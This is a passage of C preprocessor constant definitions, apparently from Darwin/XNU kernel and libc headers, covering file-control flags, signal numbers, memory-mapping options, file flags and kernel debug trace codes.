#define _PC_REC_MIN_XFER_SIZE 22 #define _PC_REC_XFER_ALIGN 23 #define _PC_SYMLINK_MAX 24 #define _PC_SYNC_IO 25 #define _PC_XATTR_SIZE_BITS 26 #define _PC_MIN_HOLE_SIZE 27 #define _CS_PATH 1 #define _SYS_CONF_H_ 1 #define D_TAPE 1 #define D_DISK 2 #define D_TTY 3 #define WNOHANG 0x00000001 #define WUNTRACED 0x00000002 #define WCOREFLAG 00200 #define _WSTOPPED 00177 #define WEXITED 0x00000004 #define WSTOPPED 0x00000008 #define WCONTINUED 0x00000010 #define WNOWAIT 0x00000020 #define WAIT_MYPGRP 0 #define PRIO_DARWIN_GPU 5 #define PRIO_DARWIN_GPU_ALLOW 0x1 #define PRIO_DARWIN_GPU_DENY 0x2 #define PRIO_DARWIN_ROLE 6 #define PRIO_DARWIN_ROLE_DEFAULT 0x0 #define PRIO_DARWIN_ROLE_UI_FOCAL 0x1 #define PRIO_DARWIN_ROLE_UI 0x2 #define PRIO_DARWIN_ROLE_NON_UI 0x3 #define PRIO_DARWIN_ROLE_UI_NON_FOCAL 0x4 #define PRIO_DARWIN_ROLE_TAL_LAUNCH 0x5 #define PRIO_DARWIN_ROLE_DARWIN_BG 0x6 #define PRIO_DARWIN_GAME_MODE 7 #define PRIO_DARWIN_CARPLAY_MODE 8 #define PRIO_DARWIN_GAME_MODE_OFF 0x0 #define PRIO_DARWIN_GAME_MODE_ON 0x1 #define PRIO_DARWIN_CARPLAY_MODE_OFF 0x0 #define PRIO_DARWIN_CARPLAY_MODE_ON 0x1 #define IOMON_ENABLE 0x01 #define IOMON_DISABLE 0x02 #define IOPOL_TYPE_VFS_HFS_CASE_SENSITIVITY 1 #define IOPOL_TYPE_VFS_ALTLINK 11 #define IOPOL_TYPE_VFS_NOCACHE_WRITE_FS_BLKSIZE 12 #define IOPOL_VFS_HFS_CASE_SENSITIVITY_DEFAULT 0 #define IOPOL_VFS_HFS_CASE_SENSITIVITY_FORCE_CASE_SENSITIVE 1 #define IOPOL_VFS_ALTLINK_DISABLED 0 #define IOPOL_VFS_ALTLINK_ENABLED 1 #define IOPOL_CMD_GET 0x00000001 #define IOPOL_CMD_SET 0x00000002 #define IPC_CREAT 0001000 #define IPC_EXCL 0002000 #define IPC_NOWAIT 0004000 #define IPC_RMID 0 #define IPC_SET 1 #define IPC_STAT 2 #define IPC_R 0000400 #define IPC_W 0000200 #define IPC_M 0010000 #define O_RDONLY 0x0000 #define O_WRONLY 0x0001 #define O_RDWR 0x0002 #define O_ACCMODE 0x0003 #define FREAD 0x00000001 #define FWRITE 0x00000002 #define O_NONBLOCK 0x00000004 #define O_APPEND 0x00000008 #define O_SHLOCK 0x00000010 #define O_EXLOCK 0x00000020 #define O_ASYNC 0x00000040 #define O_NOFOLLOW 0x00000100 #define O_CREAT 0x00000200 #define O_TRUNC 0x00000400 #define O_EXCL 0x00000800 #define FMARK 0x00001000 #define FDEFER 0x00002000 #define FWASLOCKED 0x00004000 #define O_EVTONLY 0x00008000 #define FWASWRITTEN 0x00010000 #define O_NOCTTY 0x00020000 #define FNOCACHE 0x00040000 #define FNORDAHEAD 0x00080000 #define O_DIRECTORY 0x00100000 #define O_SYMLINK 0x00200000 #define FNODIRECT 0x00800000 #define O_CLOEXEC 0x01000000 #define FENCRYPTED 0x02000000 #define FSINGLE_WRITER 0x04000000 #define O_CLOFORK 0x08000000 #define FUNENCRYPTED 0x10000000 #define O_NOFOLLOW_ANY 0x20000000 #define O_EXEC 0x40000000 #define AT_EACCESS 0x0010 #define AT_SYMLINK_NOFOLLOW 0x0020 #define AT_SYMLINK_FOLLOW 0x0040 #define AT_REMOVEDIR 0x0080 #define AT_REALDEV 0x0200 #define AT_FDONLY 0x0400 #define AT_SYMLINK_NOFOLLOW_ANY 0x0800 #define O_DP_GETRAWENCRYPTED 0x0001 #define O_DP_GETRAWUNENCRYPTED 0x0002 #define O_DP_AUTHENTICATE 0x0004 #define CPF_OVERWRITE 0x0001 #define CPF_IGNORE_MODE 0x0002 #define F_DUPFD 0 #define F_GETFD 1 #define F_SETFD 2 #define F_GETFL 3 #define F_SETFL 4 #define F_GETOWN 5 #define F_SETOWN 6 #define F_GETLK 7 #define F_SETLK 8 #define F_SETLKW 9 #define F_SETLKWTIMEOUT 10 #define F_FLUSH_DATA 40 #define F_CHKCLEAN 41 #define F_PREALLOCATE 42 #define F_SETSIZE 43 #define F_RDADVISE 44 #define F_RDAHEAD 45 #define F_NOCACHE 48 #define F_LOG2PHYS 49 #define F_GETPATH 50 #define F_FULLFSYNC 51 #define F_PATHPKG_CHECK 52 #define F_FREEZE_FS 53 #define F_THAW_FS 54 #define F_GLOBAL_NOCACHE 55 #define F_ADDSIGS 59 #define F_ADDFILESIGS 61 #define F_NODIRECT 62 #define F_GETPROTECTIONCLASS 63 #define F_SETPROTECTIONCLASS 64 #define F_LOG2PHYS_EXT 65 #define F_GETLKPID 66 #define F_SETBACKINGSTORE 70 #define F_GETPATH_MTMINFO 71 #define F_GETCODEDIR 72 #define F_SETNOSIGPIPE 73 #define F_GETNOSIGPIPE 74 #define F_TRANSCODEKEY 75 #define F_SINGLE_WRITER 76 #define F_GETPROTECTIONLEVEL 77 #define F_FINDSIGS 78 #define F_ADDFILESIGS_FOR_DYLD_SIM 83 #define F_BARRIERFSYNC 85 #define F_OFD_SETLK 90 #define F_OFD_SETLKW 91 #define F_OFD_GETLK 92 #define F_OFD_SETLKWTIMEOUT 93 #define F_ADDFILESIGS_RETURN 97 #define F_CHECK_LV 98 #define F_PUNCHHOLE 99 #define F_TRIM_ACTIVE_FILE 100 #define F_SPECULATIVE_READ 101 #define F_GETPATH_NOFIRMLINK 102 #define F_ADDFILESIGS_INFO 103 #define F_ADDFILESUPPL 104 #define F_GETSIGSINFO 105 #define F_SETLEASE 106 #define F_GETLEASE 107 #define F_TRANSFEREXTENTS 110 #define F_ATTRIBUTION_TAG 111 #define F_ADDSIGS_MAIN_BINARY 113 #define FCNTL_FS_SPECIFIC_BASE 0x00010000 #define F_DUPFD_CLOEXEC 67 #define FD_CLOEXEC 1 #define F_RDLCK 1 #define F_UNLCK 2 #define F_WRLCK 3 #define F_WAIT 0x010 #define F_FLOCK 0x020 #define F_POSIX 0x040 #define F_PROV 0x080 #define F_WAKE1_SAFE 0x100 #define F_ABORT 0x200 #define F_OFD_LOCK 0x400 #define F_TRANSFER 0x800 #define F_CONFINED 0x1000 #define F_ALLOCATECONTIG 0x00000002 #define F_ALLOCATEALL 0x00000004 #define F_ALLOCATEPERSIST 0x00000008 #define F_PEOFPOSMODE 3 #define F_VOLPOSMODE 4 #define USER_FSIGNATURES_CDHASH_LEN 20 #define GETSIGSINFO_PLATFORM_BINARY 1 #define LOCK_SH 0x01 #define LOCK_EX 0x02 #define LOCK_NB 0x04 #define LOCK_UN 0x08 #define ATTRIBUTION_NAME_MAX 255 #define F_CREATE_TAG 0x00000001 #define F_DELETE_TAG 0x00000002 #define F_QUERY_TAG 0x00000004 #define O_POPUP 0x80000000 #define O_ALERT 0x20000000 #define S_BLKSIZE 512 #define UF_SETTABLE 0x0000ffff #define UF_NODUMP 0x00000001 #define UF_IMMUTABLE 0x00000002 #define UF_APPEND 0x00000004 #define UF_OPAQUE 0x00000008 #define UF_COMPRESSED 0x00000020 #define UF_TRACKED 0x00000040 #define UF_DATAVAULT 0x00000080 #define UF_HIDDEN 0x00008000 #define SF_SUPPORTED 0x009f0000 #define SF_SETTABLE 0x3fff0000 #define SF_SYNTHETIC 0xc0000000 #define SF_ARCHIVED 0x00010000 #define SF_IMMUTABLE 0x00020000 #define SF_APPEND 0x00040000 #define SF_RESTRICTED 0x00080000 #define SF_NOUNLINK 0x00100000 #define SF_FIRMLINK 0x00800000 #define SF_DATALESS 0x40000000 #define EF_MAY_SHARE_BLOCKS 0x00000001 #define EF_NO_XATTRS 0x00000002 #define EF_IS_SYNC_ROOT 0x00000004 #define EF_IS_PURGEABLE 0x00000008 #define EF_IS_SPARSE 0x00000010 #define EF_IS_SYNTHETIC 0x00000020 #define EF_SHARES_ALL_BLOCKS 0x00000040 #define MBUF_COPYALL 1000000000 #define __DARWIN_NSIG 32 #define SIGHUP 1 #define SIGINT 2 #define SIGQUIT 3 #define SIGILL 4 #define SIGTRAP 5 #define SIGABRT 6 #define SIGPOLL 7 #define SIGEMT 7 #define SIGFPE 8 #define SIGKILL 9 #define SIGBUS 10 #define SIGSEGV 11 #define SIGSYS 12 #define SIGPIPE 13 #define SIGALRM 14 #define SIGTERM 15 #define SIGURG 16 #define SIGSTOP 17 #define SIGTSTP 18 #define SIGCONT 19 #define SIGCHLD 20 #define SIGTTIN 21 #define SIGTTOU 22 #define SIGIO 23 #define SIGXCPU 24 #define SIGXFSZ 25 #define SIGVTALRM 26 #define SIGPROF 27 #define SIGWINCH 28 #define SIGINFO 29 #define SIGUSR1 30 #define SIGUSR2 31 #define SIGEV_NONE 0 #define SIGEV_SIGNAL 1 #define SIGEV_THREAD 3 #define ILL_NOOP 0 #define ILL_ILLOPC 1 #define ILL_ILLTRP 2 #define ILL_PRVOPC 3 #define ILL_ILLOPN 4 #define ILL_ILLADR 5 #define ILL_PRVREG 6 #define ILL_COPROC 7 #define ILL_BADSTK 8 #define FPE_NOOP 0 #define FPE_FLTDIV 1 #define FPE_FLTOVF 2 #define FPE_FLTUND 3 #define FPE_FLTRES 4 #define FPE_FLTINV 5 #define FPE_FLTSUB 6 #define FPE_INTDIV 7 #define FPE_INTOVF 8 #define SEGV_NOOP 0 #define SEGV_MAPERR 1 #define SEGV_ACCERR 2 #define BUS_NOOP 0 #define BUS_ADRALN 1 #define BUS_ADRERR 2 #define BUS_OBJERR 3 #define TRAP_BRKPT 1 #define TRAP_TRACE 2 #define CLD_NOOP 0 #define CLD_EXITED 1 #define CLD_KILLED 2 #define CLD_DUMPED 3 #define CLD_TRAPPED 4 #define CLD_STOPPED 5 #define CLD_CONTINUED 6 #define POLL_IN 1 #define POLL_OUT 2 #define POLL_MSG 3 #define POLL_ERR 4 #define POLL_PRI 5 #define POLL_HUP 6 #define SA_ONSTACK 0x0001 #define SA_RESTART 0x0002 #define SA_RESETHAND 0x0004 #define SA_NOCLDSTOP 0x0008 #define SA_NODEFER 0x0010 #define SA_NOCLDWAIT 0x0020 #define SA_SIGINFO 0x0040 #define SA_USERTRAMP 0x0100 #define SA_64REGSET 0x0200 #define SIG_BLOCK 1 #define SIG_UNBLOCK 2 #define SIG_SETMASK 3 #define SI_USER 0x10001 #define SI_QUEUE 0x10002 #define SI_TIMER 0x10003 #define SI_ASYNCIO 0x10004 #define SI_MESGQ 0x10005 #define SS_ONSTACK 0x0001 #define SS_DISABLE 0x0004 #define MINSIGSTKSZ 32768 #define SIGSTKSZ 131072 #define __DARWIN_MAXNAMLEN 255 #define __DARWIN_MAXPATHLEN 1024 #define DT_UNKNOWN 0 #define DT_FIFO 1 #define DT_CHR 2 #define DT_DIR 4 #define DT_BLK 6 #define DT_REG 8 #define DT_LNK 10 #define DT_SOCK 12 #define DT_WHT 14 #define POSIX_SPAWN_RESETIDS 0x0001 #define POSIX_SPAWN_SETPGROUP 0x0002 #define POSIX_SPAWN_SETSIGDEF 0x0004 #define POSIX_SPAWN_SETSIGMASK 0x0008 #define POSIX_SPAWN_SETSCHEDPARAM 0x0010 #define POSIX_SPAWN_SETSCHEDULER 0x0020 #define POSIX_SPAWN_SETEXEC 0x0040 #define POSIX_SPAWN_START_SUSPENDED 0x0080 #define POSIX_SPAWN_SETSID 0x0400 #define POSIX_SPAWN_CLOEXEC_DEFAULT 0x4000 #define _POSIX_SPAWN_RESLIDE 0x0800 #define POSIX_SPAWN_PCONTROL_NONE 0x0000 #define POSIX_SPAWN_PCONTROL_THROTTLE 0x0001 #define POSIX_SPAWN_PCONTROL_SUSPEND 0x0002 #define POSIX_SPAWN_PCONTROL_KILL 0x0003 #define POSIX_SPAWN_PANIC_ON_CRASH 0x1 #define POSIX_SPAWN_PANIC_ON_NON_ZERO_EXIT 0x2 #define POSIX_SPAWN_PANIC_ON_EXIT 0x4 #define POSIX_SPAWN_PANIC_ON_SPAWN_FAIL 0x8 #define PROT_NONE 0x00 #define PROT_READ 0x01 #define PROT_WRITE 0x02 #define PROT_EXEC 0x04 #define MAP_SHARED 0x0001 #define MAP_PRIVATE 0x0002 #define MAP_FIXED 0x0010 #define MAP_RENAME 0x0020 #define MAP_NORESERVE 0x0040 #define MAP_RESERVED0080 0x0080 #define MAP_NOEXTEND 0x0100 #define MAP_HASSEMAPHORE 0x0200 #define MAP_NOCACHE 0x0400 #define MAP_JIT 0x0800 #define MAP_FILE 0x0000 #define MAP_ANON 0x1000 #define MAP_RESILIENT_CODESIGN 0x2000 #define MAP_RESILIENT_MEDIA 0x4000 #define MAP_32BIT 0x8000 #define MAP_TRANSLATED_ALLOW_EXECUTE 0x20000 #define MAP_UNIX03 0x40000 #define MAP_TPRO 0x80000 #define MCL_CURRENT 0x0001 #define MCL_FUTURE 0x0002 #define MS_ASYNC 0x0001 #define MS_INVALIDATE 0x0002 #define MS_SYNC 0x0010 #define MS_KILLPAGES 0x0004 #define MS_DEACTIVATE 0x0008 #define POSIX_MADV_NORMAL 0 #define POSIX_MADV_RANDOM 1 #define POSIX_MADV_SEQUENTIAL 2 #define POSIX_MADV_WILLNEED 3 #define POSIX_MADV_DONTNEED 4 #define MADV_FREE 5 #define MADV_ZERO_WIRED_PAGES 6 #define MADV_FREE_REUSABLE 7 #define MADV_FREE_REUSE 8 #define MADV_CAN_REUSE 9 #define MADV_PAGEOUT 10 #define MADV_ZERO 11 #define MINCORE_INCORE 0x1 #define MINCORE_REFERENCED 0x2 #define MINCORE_MODIFIED 0x4 #define MINCORE_REFERENCED_OTHER 0x8 #define MINCORE_MODIFIED_OTHER 0x10 #define MINCORE_PAGED_OUT 0x20 #define MINCORE_COPIED 0x40 #define MINCORE_ANONYMOUS 0x80 #define B_WRITE 0x00000000 #define B_READ 0x00000001 #define B_ASYNC 0x00000002 #define B_NOCACHE 0x00000004 #define B_DELWRI 0x00000008 #define B_LOCKED 0x00000010 #define B_PHYS 0x00000020 #define B_CLUSTER 0x00000040 #define B_PAGEIO 0x00000080 #define B_META 0x00000100 #define B_RAW 0x00000200 #define B_FUA 0x00000400 #define B_PASSIVE 0x00000800 #define B_IOSTREAMING 0x00001000 #define B_THROTTLED_IO 0x00002000 #define B_ENCRYPTED_IO 0x00004000 #define B_STATICCONTENT 0x00008000 #define BUF_WAIT 0x01 #define BUF_WRITE_DATA 0x0001 #define BUF_SKIP_META 0x0002 #define BUF_INVALIDATE_LOCKED 0x0004 #define BUF_SKIP_NONLOCKED 0x01 #define BUF_SKIP_LOCKED 0x02 #define BUF_SCAN_CLEAN 0x04 #define BUF_SCAN_DIRTY 0x08 #define BUF_NOTIFY_BUSY 0x10 #define BUF_RETURNED 0 #define BUF_RETURNED_DONE 1 #define BUF_CLAIMED 2 #define BUF_CLAIMED_DONE 3 #define BLK_READ 0x01 #define BLK_WRITE 0x02 #define BLK_META 0x10 #define BLK_ONLYVALID 0x80000000 #define LOG_EMERG 0 #define LOG_ALERT 1 #define LOG_CRIT 2 #define LOG_ERR 3 #define LOG_WARNING 4 #define LOG_NOTICE 5 #define LOG_INFO 6 #define LOG_DEBUG 7 #define LOG_PRIMASK 0x07 #define INTERNAL_NOPRI 0x10 #define LOG_NFACILITIES 25 #define LOG_FACMASK 0x03f8 #define LOG_PID 0x01 #define LOG_CONS 0x02 #define LOG_ODELAY 0x04 #define LOG_NDELAY 0x08 #define LOG_NOWAIT 0x10 #define LOG_PERROR 0x20 #define CRF_NOMEMBERD 0x00000001 #define CRF_MAC_ENFORCE 0x00000002 #define XUCRED_VERSION 0 #define DK_FEATURE_BARRIER 0x00000002 #define DK_FEATURE_PRIORITY 0x00000004 #define DK_FEATURE_UNMAP 0x00000010 #define DK_SYNCHRONIZE_OPTION_BARRIER 0x00000002 #define DK_CORESTORAGE_PIN_YOUR_METADATA 0x00000001 #define DK_CORESTORAGE_ENABLE_HOTFILES 0x00000002 #define DK_CORESTORAGE_PIN_YOUR_SWAPFILE 0x00000004 #define DK_PROVISION_TYPE_MAPPED 0x00 #define DK_PROVISION_TYPE_DEALLOCATED 0x01 #define DK_PROVISION_TYPE_ANCHORED 0x02 #define DK_LOCATION_INTERNAL 0x00000000 #define DK_LOCATION_EXTERNAL 0x00000001 #define DK_FEATURE_FORCE_UNIT_ACCESS 0x00000001 #define DK_ENCRYPTION_TYPE_AES_CBC 1 #define DK_ENCRYPTION_TYPE_AES_XEX 2 #define DK_ENCRYPTION_TYPE_AES_XTS 3 #define DK_TIER_MASK 0xC0 #define DK_TIER_SHIFT 6 #define SOL_LOCAL 0 #define LOCAL_PEERCRED 0x001 #define LOCAL_PEERPID 0x002 #define LOCAL_PEEREPID 0x003 #define LOCAL_PEERUUID 0x004 #define LOCAL_PEEREUUID 0x005 #define LOCAL_PEERTOKEN 0x006 #define _SYS_TIMEX_H_ 1 #define NTP_API 4 #define MINSEC 256 #define MAXSEC 2048 #define MAXTC 10 #define MOD_OFFSET 0x0001 #define MOD_FREQUENCY 0x0002 #define MOD_MAXERROR 0x0004 #define MOD_ESTERROR 0x0008 #define MOD_STATUS 0x0010 #define MOD_TIMECONST 0x0020 #define MOD_PPSMAX 0x0040 #define MOD_TAI 0x0080 #define MOD_MICRO 0x1000 #define MOD_NANO 0x2000 #define MOD_CLKB 0x4000 #define MOD_CLKA 0x8000 #define STA_PLL 0x0001 #define STA_PPSFREQ 0x0002 #define STA_PPSTIME 0x0004 #define STA_FLL 0x0008 #define STA_INS 0x0010 #define STA_DEL 0x0020 #define STA_UNSYNC 0x0040 #define STA_FREQHOLD 0x0080 #define STA_PPSSIGNAL 0x0100 #define STA_PPSJITTER 0x0200 #define STA_PPSWANDER 0x0400 #define STA_PPSERROR 0x0800 #define STA_CLOCKERR 0x1000 #define STA_NANO 0x2000 #define STA_MODE 0x4000 #define STA_CLK 0x8000 #define TIME_OK 0 #define TIME_INS 1 #define TIME_DEL 2 #define TIME_OOP 3 #define TIME_WAIT 4 #define TIME_ERROR 5 #define MT_FREE 0 #define MT_DATA 1 #define MT_HEADER 2 #define MT_SOCKET 3 #define MT_PCB 4 #define MT_RTABLE 5 #define MT_HTABLE 6 #define MT_ATABLE 7 #define MT_SONAME 8 #define MT_SOOPTS 10 #define MT_FTABLE 11 #define MT_RIGHTS 12 #define MT_IFADDR 13 #define MT_CONTROL 14 #define MT_OOBDATA 15 #define MT_TAG 16 #define MT_MAX 32 #define MAX_MBUF_CNAME 15 #define MCS_DISABLED 0 #define MCS_ONLINE 1 #define MCS_PURGING 2 #define MCS_OFFLINE 3 #define MSG_NOERROR 0010000 #define MSGSSZ 8 #define MSGSEG 2048 #define MSGMNB 2048 #define MSGMNI 40 #define MSGTQL 40 #define MSG_LOCKED 001000 #define DBG_MACH 1 #define DBG_NETWORK 2 #define DBG_FSYSTEM 3 #define DBG_BSD 4 #define DBG_IOKIT 5 #define DBG_DRIVERS 6 #define DBG_TRACE 7 #define DBG_DLIL 8 #define DBG_PTHREAD 9 #define DBG_CORESTORAGE 10 #define DBG_CG 11 #define DBG_MONOTONIC 12 #define DBG_MISC 20 #define DBG_SECURITY 30 #define DBG_DYLD 31 #define DBG_QT 32 #define DBG_APPS 33 #define DBG_LAUNCHD 34 #define DBG_SILICON 35 #define DBG_PERF 37 #define DBG_IMPORTANCE 38 #define DBG_BANK 40 #define DBG_XPC 41 #define DBG_ATM 42 #define DBG_ARIADNE 43 #define DBG_DAEMON 44 #define DBG_ENERGYTRACE 45 #define DBG_DISPATCH 46 #define DBG_IMG 49 #define DBG_UMALLOC 51 #define DBG_TURNSTILE 53 #define DBG_AUDIO 54 #define DBG_MIG 255 #define DBG_MACH_EXCP_KTRAP_x86 0x02 #define DBG_MACH_EXCP_DFLT 0x03 #define DBG_MACH_EXCP_SYNC_ARM 0x03 #define DBG_MACH_EXCP_IFLT 0x04 #define DBG_MACH_EXCP_SERR_ARM 0x04 #define DBG_MACH_EXCP_INTR 0x05 #define DBG_MACH_EXCP_ALNG 0x06 #define DBG_MACH_EXCP_UTRAP_x86 0x07 #define DBG_MACH_EXCP_FP 0x08 #define DBG_MACH_EXCP_DECI 0x09 #define DBG_MACH_CHUD 0x0A #define DBG_MACH_SIGNPOST 0x0A #define DBG_MACH_EXCP_SC 0x0C #define DBG_MACH_EXCP_TRACE 0x0D #define DBG_MACH_EXCP_EMUL 0x0E #define DBG_MACH_IHDLR 0x10 #define DBG_MACH_IPC 0x20 #define DBG_MACH_RESOURCE 0x25 #define DBG_MACH_EXCLAVES 0x2A #define DBG_MACH_EXCLAVES_SCHEDULER 0x2B #define DBG_MACH_EPOCH_SYNC 0x2C #define DBG_MACH_VM 0x30 #define DBG_MACH_LEAKS 0x31 #define DBG_MACH_WORKINGSET 0x32 #define DBG_MACH_SCHED 0x40 #define DBG_MACH_MSGID_INVALID 0x50 #define DBG_MACH_LOCKS 0x60 #define DBG_MACH_PMAP 0x70 #define DBG_MACH_CLOCK 0x80 #define DBG_MACH_MP 0x90 #define DBG_MACH_VM_PRESSURE 0xA0 #define DBG_MACH_STACKSHOT 0xA1 #define DBG_MACH_SFI 0xA2 #define DBG_MACH_ENERGY_PERF 0xA3 #define DBG_MACH_SYSDIAGNOSE 0xA4 #define DBG_MACH_ZALLOC 0xA5 #define DBG_MACH_THREAD_GROUP 0xA6 #define DBG_MACH_COALITION 0xA7 #define DBG_MACH_SHAREDREGION 0xA8 #define DBG_MACH_SCHED_CLUTCH 0xA9 #define DBG_MACH_IO 0xAA #define DBG_MACH_WORKGROUP 0xAB #define DBG_MACH_HV 0xAC #define DBG_MACH_KCOV 0xAD #define DBG_MACH_MACHDEP_EXCP_SC_x86 0xAE #define DBG_MACH_MACHDEP_EXCP_SC_ARM 0xAF #define DBG_MACH_VM_RECLAIM 0xB0 #define DBC_MACH_IO_MMIO_READ 0x1 #define DBC_MACH_IO_MMIO_WRITE 0x2 #define DBC_MACH_IO_PHYS_READ 0x3 #define DBC_MACH_IO_PHYS_WRITE 0x4 #define DBC_MACH_IO_PORTIO_READ 0x5 #define DBC_MACH_IO_PORTIO_WRITE 0x6 #define DBG_INTR_TYPE_UNKNOWN 0x0 #define DBG_INTR_TYPE_IPI 0x1 #define DBG_INTR_TYPE_TIMER 0x2 #define DBG_INTR_TYPE_OTHER 0x3 #define DBG_INTR_TYPE_PMI 0x4 #define DBG_INTR_TYPE_RSVD1 0x5 #define MACH_SCHED 0x0 #define MACH_STACK_ATTACH 0x1 #define MACH_STACK_HANDOFF 0x2 #define MACH_CALL_CONT 0x3 #define MACH_CALLOUT 0x4 #define MACH_STACK_DETACH 0x5 #define MACH_MAKE_RUNNABLE 0x6 #define MACH_PROMOTE 0x7 #define MACH_DEMOTE 0x8 #define MACH_IDLE 0x9 #define MACH_STACK_DEPTH 0xa #define MACH_MOVED 0xb #define MACH_PSET_LOAD_AVERAGE 0xc #define MACH_AMP_DEBUG 0xd #define MACH_FAILSAFE 0xe #define MACH_BLOCK 0xf #define MACH_WAIT 0x10 #define MACH_GET_URGENCY 0x14 #define MACH_URGENCY 0x15 #define MACH_REDISPATCH 0x16 #define MACH_REMOTE_AST 0x17 #define MACH_SCHED_CHOOSE_PROCESSOR 0x18 #define MACH_DEEP_IDLE 0x19 #define MACH_CPU_THROTTLE_DISABLE 0x1b #define MACH_RW_PROMOTE 0x1c #define MACH_RW_DEMOTE 0x1d #define MACH_SCHED_MAINTENANCE 0x1f #define MACH_DISPATCH 0x20 #define MACH_QUANTUM_HANDOFF 0x21 #define MACH_SCHED_THREAD_SWITCH 0x23 #define MACH_SCHED_SMT_BALANCE 0x24 #define MACH_REMOTE_DEFERRED_AST 0x25 #define MACH_REMOTE_CANCEL_AST 0x26 #define MACH_SCHED_CHANGE_PRIORITY 0x27 #define MACH_SCHED_UPDATE_REC_CORES 0x28 #define MACH_STACK_WAIT 0x29 #define MACH_THREAD_BIND 0x2a #define MACH_WAITQ_PROMOTE 0x2b #define MACH_WAITQ_DEMOTE 0x2c #define MACH_SCHED_LOAD 0x2d #define MACH_REC_CORES_FAILSAFE 0x2e #define MACH_SCHED_QUANTUM_EXPIRED 0x2f #define MACH_EXEC_PROMOTE 0x30 #define MACH_EXEC_DEMOTE 0x31 #define MACH_AMP_SIGNAL_SPILL 0x32 #define MACH_AMP_STEAL 0x33 #define MACH_SCHED_LOAD_EFFECTIVE 0x34 #define MACH_QUIESCENT_COUNTER 0x38 #define MACH_TURNSTILE_USER_CHANGE 0x39 #define MACH_AMP_RECOMMENDATION_CHANGE 0x3a #define MACH_AMP_PERFCTL_POLICY_CHANGE 0x3b #define MACH_TURNSTILE_KERNEL_CHANGE 0x40 #define MACH_SCHED_WI_AUTO_JOIN 0x41 #define MACH_SCHED_WI_DEFERRED_FINISH 0x42 #define MACH_SET_RT_DEADLINE 0x43 #define MACH_CANCEL_RT_DEADLINE 0x44 #define MACH_RT_SIGNAL_SPILL 0x45 #define MACH_RT_STEAL 0x46 #define MACH_PENDING_AST_URGENT 0x47 #define MACH_SCHED_THREAD_SELECT 0x48 #define MACH_SCHED_NEXT_PROCESSOR 0x49 #define MACH_PSET_AVG_EXEC_TIME 0x50 #define MACH_SUSPEND_USERSPACE 0x51 #define MACH_PREEMPTION_EXPIRED 0x52 #define MACH_FLOOR_PROMOTE 0x53 #define MACH_FLOOR_DEMOTE 0x54 #define MACH_INT_MASKED_EXPIRED 0x55 #define MACH_INT_HANDLED_EXPIRED 0x56 #define MACH_UPDATE_POWERED_CORES 0x58 #define MACH_MODE_DEMOTE_THROTTLED 0x59 #define MACH_MODE_DEMOTE_FAILSAFE 0x5a #define MACH_MODE_DEMOTE_RT_DISALLOWED 0x5b #define MACH_MODE_UNDEMOTE_THROTTLED 0x5c #define MACH_MODE_UNDEMOTE_FAILSAFE 0x5d #define MACH_MODE_UNDEMOTE_RT_DISALLOWED 0x5e #define MACH_INT_MASKED_RESET 0x5f #define MACH_RT_DISALLOWED_WORK_INTERVAL 0x60 #define MACH_SCHED_WI_EXTERNAL_WAKEUP 0x61 #define MACH_SCHED_AST_CHECK 0x62 #define MACH_SCHED_PREEMPT_TIMER_ACTIVE 0x63 #define MACH_PROCESSOR_SHUTDOWN 0x64 #define MACH_SCHED_CLUTCH_ROOT_BUCKET_STATE 0x0 #define MACH_SCHED_CLUTCH_TG_BUCKET_STATE 0x1 #define MACH_SCHED_CLUTCH_THREAD_SELECT 0x2 #define MACH_SCHED_CLUTCH_THREAD_STATE 0x3 #define MACH_SCHED_CLUTCH_TG_BUCKET_PRI 0x4 #define MACH_SCHED_EDGE_CLUSTER_OVERLOAD 0x5 #define MACH_SCHED_EDGE_STEAL 0x6 #define MACH_SCHED_EDGE_REBAL_RUNNABLE 0x7 #define MACH_SCHED_EDGE_REBAL_RUNNING 0x8 #define MACH_SCHED_EDGE_SHOULD_YIELD 0x9 #define MACH_SCHED_CLUTCH_THR_COUNT 0xa #define MACH_SCHED_EDGE_LOAD_AVG 0xb #define MACH_SCHED_EDGE_CLUSTER_SHARED_LOAD 0xc #define MACH_SCHED_EDGE_RSRC_HEAVY_THREAD 0xd #define MACH_SCHED_EDGE_SHARED_RSRC_MIGRATE 0xe #define WORKGROUP_INTERVAL_CREATE 0x0 #define WORKGROUP_INTERVAL_DESTROY 0x1 #define WORKGROUP_INTERVAL_CHANGE 0x2 #define WORKGROUP_INTERVAL_START 0x3 #define WORKGROUP_INTERVAL_UPDATE 0x4 #define WORKGROUP_INTERVAL_FINISH 0x5 #define WORKGROUP_INTERVAL_SET_WORKLOAD_ID 0x6 #define WORKGROUP_INTERVAL_SET_WORKLOAD_ID_NAME 0x7 #define KCOV_STKSZ_THRESHOLD_ABOVE 0x0 #define KCOV_STKSZ_THRESHOLD_BELOW 0x1 #define DBG_VM_VNODE_PAGEOUT 0x001 #define DBG_VM_FAULT_INTERNAL 0x002 #define DBG_VM_PURGEABLE_TOKEN_ADD 0x040 #define DBG_VM_PURGEABLE_TOKEN_DELETE 0x041 #define DBG_VM_PURGEABLE_TOKEN_RIPEN 0x042 #define DBG_VM_PURGEABLE_OBJECT_ADD 0x048 #define DBG_VM_PURGEABLE_OBJECT_REMOVE 0x049 #define DBG_VM_PURGEABLE_OBJECT_PURGE 0x04a #define DBG_VM_PURGEABLE_OBJECT_PURGE_ALL 0x04b #define DBG_VM_PURGEABLE_OBJECT_PURGE_ONE 0x04c #define DBG_VM_PURGEABLE_OBJECT_PURGE_LOOP 0x04e #define DBG_VM_MAP_PARTIAL_REAP 0x054 #define DBG_VM_MAP_WILLNEED 0x055 #define DBG_VM_FAULT_CHECK_ZFDELAY 0x100 #define DBG_VM_FAULT_COWDELAY 0x101 #define DBG_VM_FAULT_ZFDELAY 0x102 #define DBG_VM_FAULT_COMPRESSORDELAY 0x103 #define DBG_VM_PAGEOUT_SCAN 0x104 #define DBG_VM_PAGEOUT_BALANCE 0x105 #define DBG_VM_PAGEOUT_FREELIST 0x106 #define DBG_VM_PAGEOUT_PURGEONE 0x107 #define DBG_VM_PAGEOUT_CACHE_EVICT 0x108 #define DBG_VM_PAGEOUT_THREAD_BLOCK 0x109 #define DBG_VM_PAGEOUT_JETSAM 0x10A #define DBG_VM_INFO1 0x10B #define DBG_VM_INFO2 0x10C #define DBG_VM_INFO3 0x10D #define DBG_VM_INFO4 0x10E #define DBG_VM_INFO5 0x10F #define DBG_VM_INFO6 0x110 #define DBG_VM_INFO7 0x111 #define DBG_VM_INFO8 0x112 #define DBG_VM_INFO9 0x113 #define DBG_VM_INFO10 0x114 #define DBG_VM_UPL_PAGE_WAIT 0x120 #define 